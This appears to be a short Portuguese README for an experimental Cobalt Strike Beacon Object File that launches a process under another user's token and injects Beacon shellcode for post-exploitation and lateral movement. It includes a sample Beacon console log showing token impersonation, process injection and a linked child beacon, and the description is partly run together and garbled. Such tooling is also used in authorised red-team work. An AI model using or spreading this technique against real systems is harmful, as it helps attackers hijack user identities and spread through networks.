
Cobalt Strike BOF que inicia um processo usando o token de outro usuário e injeta shellcode do Beacon, permitindo pós-exploração e movimento lateral via impersonação.
Um arquivo de objeto Beacon (BOF) experimental que fornece uma alternativa aos comandos spawnas e inject. Isso expõe um novo comando, spawn_with [pid] [listener], que executa o seguinte:
spawnto do Beacon.CreateProcessWithTokenW.
CreateProcessAsUserW.beacon> getuid
[*] You are DESKTOP-1U6AHIU\Daniel (admin)
beacon> ps
22656 21972 wordpad.exe x64 1 DESKTOP-1U6AHIU\test_user
beacon> spawnto x64 %windir%\sysnative\notepad.exe
beacon> spawn_with 22656 tcp-local
[*] Task Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444)
[+] received output:
Spawned PID 45668 and injected 297472 bytes
[+] established link to child beacon: 192.168.0.195
